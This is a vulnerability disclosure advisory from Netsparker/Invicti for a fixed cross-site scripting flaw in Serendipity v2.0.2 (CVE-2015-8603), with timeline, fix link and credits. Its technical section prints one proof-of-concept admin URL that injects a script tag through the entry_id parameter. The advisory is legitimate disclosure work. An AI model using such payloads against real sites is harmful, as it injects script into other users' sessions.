Cross-site Scripting Vulnerability Identified in Serendipity

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Serendipity
Affected Software: Serendipity
Affected Versions: v2.0.2 and possibly below
Vendor Homepage: http://www.s9y.org  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-8603
Invicti Advisory Reference: NS-15-024

Technical Details

Proof of Concept URL for XSS in Serendipity v2.0.2:

/serendipity/serendipity_admin.php?serendipity[action]=admin&serendipity[adminModule]=comments&serendipity[adminAction]=edit&serendipity[id]=2&serendipity[entry_id]='"--></style></scRipt><scRipt>alert(0x000EEA)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

07/12/2015 – First Contact
17/12/2015 – Vendor Fixed
05/01/2016 – Advisory Released

Solution

http://blog.s9y.org/archives/266-Serendipity-2.0.3-released.html

Credits & Authors

These issues have been discovered by Selçuk Mıynat while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.